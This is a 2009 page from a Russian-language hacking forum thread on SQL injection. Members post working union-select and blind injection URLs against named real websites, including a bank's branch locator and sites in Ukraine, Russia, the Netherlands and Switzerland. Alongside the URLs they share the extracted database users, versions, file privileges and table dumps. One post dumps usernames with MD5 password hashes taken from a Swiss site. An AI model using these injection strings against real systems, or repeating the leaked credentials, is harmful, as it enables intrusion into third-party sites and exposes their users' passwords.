FORUMS

MEMBERS

ANTICHAT — форум по информационной безопасности, OSINT и технологиям

ANTICHAT — русскоязычное сообщество по безопасности, OSINT и программированию. Форум ранее работал на доменах antichat.ru, antichat.com и antichat.club, и теперь снова доступен на новом адресе — forum.antichat.xyz.
Форум восстановлен и продолжает развитие: доступны архивные темы, добавляются новые обсуждения и материалы.
⚠️ Старые аккаунты восстановить невозможно — необходимо зарегистрироваться заново.

		Форум АНТИЧАТ > БЕЗОПАСНОСТЬ И УЯЗВИМОСТИ > Уязвимости
SQL Инъекции

Страница 1036 из 1602

1036

Опции темы

Поиск в этой теме

Опции просмотра

27.08.2009, 19:55

ILYAtirtir

Участник форума

Регистрация: 25.04.2007

Сообщений: 176

Провел на форуме:
1957988

Репутация: 739

Отправить сообщение для ILYAtirtir с помощью ICQ

The world's local bank.
MS Access

Цитата:

http://www.hbeu1.hsbc.com/ukservices/branchlocator/area.asp?area=a'+union+select+1,2,3+from+sp_areade tails+where+'1'='1&flag=true

Может кто сможет раскрутить. Доступа к системным таблицам как всегда нету.Если подобрать таблицу то потом думаю только подзапросами...

27.08.2009, 20:34

nemaniak

Участник форума

Регистрация: 10.06.2008

Сообщений: 201

Провел на форуме:
1174919

Репутация: 229

toyslandpark.com

blind-sql

http://toyslandpark.com/foto/indice.php?aid=6'

Код:

http://toyslandpark.com/foto/indice.php?aid=6+and+1=if(ascii(substring((select+concat_ws(0x3,user(),version(),database())),1,1))=83,1,0)+--+

user: Sql_tlp@localhost
version: 4.1.11-Debian_4sarge7-log (раритет 0_o)
database: toysland

27.08.2009, 21:17

ZARO

Познающий

Регистрация: 17.04.2009

Сообщений: 59

Провел на форуме:
401944

Репутация: 37

Отправить сообщение для ZARO с помощью ICQ

Код:

http://www.mining.kz/index.shtml?f=show&type=1&id=-14979976727+union+select+1,2,concat_ws%280x3,version%28%29,user%28%29,database%28%29%29,4,5,6,7+--+

version: 5.0.77-community
user: miningk_miningka@localhost
database: miningk_mining

28.08.2009, 04:06

..::TROYAN::..

Участник форума

Регистрация: 22.05.2008

Сообщений: 158

Провел на форуме:
2875309

Репутация: 348

Отправить сообщение для ..::TROYAN::.. с помощью ICQ

Код:

http://www.gsmtrack.nl/index.php?page=navi_merken&action=navigatie&id=-1+union+select+unhex%28hex%28concat_ws%280x3a,user%28%29,version%28%29,database%28%29%29%29%29--

Database Version: 4.1.10a - WideXS
Database name: gsmtrack
User name: root@localhost
PR 4
file_priv : Y

28.08.2009, 08:03

DrAssault

Участник форума

Регистрация: 14.11.2008

Сообщений: 149

Провел на форуме:
950638

Репутация: 256

Отправить сообщение для DrAssault с помощью ICQ

Код:

http://quebec-canada.com.ua/show.php?tab=other&id=9999+union+select+1,2,group_concat(column_name+separator+0x0a)+from+information_schema.columns+where+table_name=0x636f7374+--+

id rank country persent

Код:

http://quebec-canada.com.ua/show.php?tab=other&id=9999+union+select+1,2,table_schema+from+information_schema.tables+where+table_name=0x636f7374+--+

teresh_canada

Код:

http://quebec-canada.com.ua/show.php?tab=other&id=9999+union+select+1,2,group_concat(concat_ws(0x3a3a3a,id,rank,country,persent)+separator+0x0a)+from+teresh_canada.cost+--+

1:::1:::Токио (Япония) :::130.7 2:::2:::Лондон (Великобритания):::119 3:::3:::Москва (Россия):::117.4 4:::4:::Осака (Япония):::116.1 5:::5:::Гонк-Конг:::109.5 6:::9:::Цюрих (Швейцария):::101.6 7:::17:::Париж (Франция):::94.8 8:::21:::Рим (Италия):::90.5 9:::27:::Лос-Анджелес:::86.6 10:::43:::Мюнхен (Германия):::84 11:::49:::Прага (Чехия):::83.3 12:::84:::Мехико (Мексика):::73.3 13:::89:::Торонто (Канада):::71.8 14:::113:::Монреаль (Канада):::66.4 15:::116:::Дели (Индия):::64.7

28.08.2009, 08:37

ZARO

Познающий

Регистрация: 17.04.2009

Сообщений: 59

Провел на форуме:
401944

Репутация: 37

Код:

http://www.soldatru.ru/news/show_news.php?id=-281+union+select+1,2,concat_ws%280x3a,user%28%29,version%28%29,database%28%29%29,4,5,6+--+

user: u34985@10.10.223.73
version: 5.0.67-log
database: u34985

Код:

http://www.ertegi.ru/index.php?id=2+union+select+1,2,concat_ws%280x3a,user%28%29,version%28%29,database%28%29%29+--+

user: ertegir_francua@localhost
version: 5.0.84-log
database: ertegir_ertegi

Хех)) Сайт нефти)))

Код:

http://tdkmg.izhanov.ru/faq/?id=-15+union+select+1,2,3,4,5,6+--+

Последний раз редактировалось ZARO; 28.08.2009 в 11:33..

28.08.2009, 11:57

~~Swift~~

Banned

Регистрация: 27.10.2008

Сообщений: 78

Провел на форуме:
174909

Репутация: 454

Код:

http://www.cide.edu/facultad_division.php?d=1+union+select+1,concat_ws(0x2,version(),user(),database()),3,4,5+limit+1,1

5.0.32-debian_7etch10-log root@localhost webcide

28.08.2009, 14:28

..::TROYAN::..

Участник форума

Регистрация: 22.05.2008

Сообщений: 158

Провел на форуме:
2875309

Репутация: 348

Код:

http://www.duikteam-poseidon.nl/agenda_detail.php?id=-1+union+select+1,1,1,unhex(hex(concat_ws(0x3a,user(),version(),database()))),3,4,5--

root@localhost:5.0.19-nt

oseidon
PR 2
file_priv : Y

28.08.2009, 17:29

DrAssault

Участник форума

Регистрация: 14.11.2008

Сообщений: 149

Провел на форуме:
950638

Репутация: 256

Код:

http://www.descom.ch/main.php?id=18646644+union+select+1,2,3,4,5,group_concat(concat_ws(0x3a3a3a,name,password)+separator+0x0a),7+from+user

Grünig:::a1c7e629be72a6091ecd1f9c37cdc369 Grünig:::348395d346e03ba2c56db7827d319b66 Fiorucci:::9a871a2a1b44ce36da856605dd3c446c Tillmann:::ab85a6f19d0180b0eed0d304594662c5 Nydegger:::b97748566824f7250f172972b2acc696 Klaus:::f270bfe89d0e0ae9a93af1daacf8a951 schweizer:::a79f8ff43b7bc32d6229e8ec2eb94a16 Zbinden:::e39e55de0291db48de53420da533db5b Pollak:::a1c88562e5670752b91227226f9b3ab4 de manuel:::be788819059b62edd8572be65a5e4bf5 Liechti:::775d9d3d815746460ca59a4c966ac538 Pollak:::233224c1e07a79f6e88e53ce09891f16 winzeler:::6bb1d01318442953179416e1f50de743 Kropf:::dd4b9f37d5d7525a83ad5906299d8ba6 Berger:::79ee34a2c60be9b7fd6bcee962e36d0b Dubuis:::a771378824a5c1c2b3d56be30012bbe7 Cueni:::5703672c4bb030a55988a42c705c3097 Kunde:::6a7dc7ef47e0d299b4b75b5b4dff3996 Dillier Gilomen:::7c9e5a874d69573ff41258231b38e3f0 :::dd82988070e6ee4f7a72deef16003877 :::2d047ace7b1647328cd3d93a960a9cc5 :::c6a64e300eae52f8fe3e2e0ad1548138 Dömötör:::cc27dae70b0bab3591ee6cdf0cc5f4a4 Grünig:::57130ee39c8a283237d5107ec14cce4d

#10

28.08.2009, 23:30

ZARO

Познающий

Регистрация: 17.04.2009

Сообщений: 59

Провел на форуме:
401944

Репутация: 37

Код:

http://www.dancor.sumy.ua/portal_ads.php?id=-274572+union+select+1,2,3,4,5,6,7,8,9,%28concat_ws%280x3a,user%28%29,version%28%29,database%28%29%29%29+--+

user: dancor@localhost
version: 5.1.35-log
database: dancor